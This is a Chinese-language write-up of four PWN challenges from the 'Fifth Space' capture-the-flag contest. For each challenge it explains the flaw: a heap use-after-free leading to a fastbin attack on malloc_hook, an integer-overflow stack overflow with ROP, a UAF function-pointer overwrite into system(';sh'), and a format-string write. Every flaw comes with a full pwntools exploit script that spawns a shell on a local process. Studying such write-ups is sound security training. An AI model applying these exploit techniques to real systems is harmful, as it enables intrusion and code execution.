“第五空间”网络安全线下赛PWN部分WRITEUP
最近参加了“第五空间”网络安全线下赛,这次比赛以PWN为主,有几个比较典型的基础题。当时比赛的远程libc不方便加载调试,本人用本地libc进行复盘,写了一份writeup。
题目链接:http://47.95.238.45:8001/space5.zip

壹業

程序保护全开,应该用one_gadget获得shell。

标准的菜单题,有add、show、edit、delete功能,漏洞位于delete函数,是一个Use After Free漏洞:

第一步:先创建unsortedbin大小的chunk,free掉,然后再show,就能泄露libc地址。
第二步:free掉0x71大小的chunk,篡改此chunk的fd指针到malloc_hook-0x23处,然后add两次,就能修改malloc_hook为one_gadget地址。也就是fastbin attack。
完整脚本如下

from pwn import *
context.log_level='debug'

r=process('./pwn1x')

def add(size):
    r.recvuntil('>>')
    r.sendline('1')
    r.recvuntil(':')
    r.sendline(str(size))
def show(idx):
    r.recvuntil('>>')
    r.sendline('2')
    r.recvuntil(':')
    r.sendline(str(idx))
def edit(idx,cont):
    r.recvuntil('>>')
    r.sendline('3')
    r.recvuntil(':')
    r.sendline(str(idx))
    r.recvuntil(':')
    r.sendline(cont)
def delete(idx):
    r.recvuntil('>>')
    r.sendline('4')
    r.recvuntil(':')
    r.sendline(str(idx))

add(0x60)#0
add(0x60)#1
add(0x60)#2
add(0xa0)#3
add(0x60)#4
add(0x60)#5
delete(3)
show(3)
r.recvuntil(':')
leak=u64(r.recv(6).ljust(8,'\x00'))
success(hex(leak))
mallochook=leak-0x68
lbase=leak-0x3c3b78
one=lbase+0xf0897

delete(0)
edit(0,p64(mallochook-0x23))
add(0x60)#6
add(0x60)#7
edit(7,'z'*0x13+p64(one))
add(0x30)#8

r.interactive()

三學

32位程序,提供了system函数:


注意到sub_80485e8函数,调用sub_80485ab获得整数nbytes,但是nbytes接下来作为signed int进行比较,如果nbytes是0xffffffff识别为-1,就满足了-1<=10,但read时识别为大整数。因此存在整数溢出漏洞,可以在read时候造成栈溢出,接下来只需做常规ROP getshell。


完整脚本如下

from pwn import *
context.log_level='debug'
r=process('./pwn3x')

sys=0x8048440
sh=0x804a04c
r.recvuntil(':')
r.sendline('/bin/sh\0')
r.recvuntil(':')
r.sendline('1')
r.recvuntil(':')
r.sendline('-1')
r.recvuntil('\n')
r.sendline('a'*0x50+p32(0xffffffff)+'b'*0xc+p32(sys)+p32(0)+p32(sh))

r.interactive()

四諦

32位菜单堆题:


add进行两次malloc,第一次malloc是把函数指针存放到chunk上,第二次是输入content。

delete将两个chunk释放,存在UAF漏洞:

show调用了chunk的函数指针,从而调用puts函数:

show调用的指针,默认指向如下函数:

每条记录的数据结构是:
a: void *func=0x80491f2;
char *pointtocont=b;
b: char [size];

创建两条content大小为0x20的记录,0号和1号,然后全都delete,得到4个fastbin chunk,如下图。
0a表示0号的指针块,0b表示0号的content块,1号同理。

接下来,只要malloc两个size=0x10的chunk,也就是做add(8,’xxxx’),就能把0a和1a串起来,1a的pointtocont指向0a,就能向0a写数据。
篡改0a的pointtocont指针指向GOT表,就能泄露函数地址,我们选择泄露puts的GOT表,得到libc地址,计算出system地址。
篡改0a的func指向system,后面跟’;sh’,利用bash分号的特性,实际上:
printnote的时候调用system(‘xxxxxxxx;sh’),就能getshell。
完整脚本如下

from pwn import *
context.log_level='debug'
r= process('./pwn4x')

def addnote(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)
def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

got_puts=0x804c024
func=0x80491f2

addnote(32,"0"*4)#0
addnote(32,"1"*4)#1
addnote(32,"2"*4)#2
delnote(0)
delnote(1)

addnote(8,p32(func)+p32(got_puts))#3
printnote(0)
r.recvuntil(':')
puts=u32(r.recv(4))
success(hex(puts))
sys=puts-0xf7d9eb80+0xf7d79d80

delnote(3)
addnote(8,p32(sys)+';sh')#4
printnote(0)

r.interactive()

五蘊

32位程序,存在格式化字符串漏洞,直接向unk_804c044写特定数,然后输入同样的数,即可getshell。


完整脚本如下

from pwn import *
context.log_level='debug'
r=process('./pwn5x')

target=0x804c044
pay=p32(target)+p32(target+1)+p32(target+2)+p32(target+3)+'%10$hhn%11$hhn%12$hhn%13$hhn'
r.recvuntil(':')
r.sendline(pay)
r.recvuntil(':')
r.sendline(str(0x10101010))

r.interactive()

点击收藏 | 0 关注 | 1
登录 后跟帖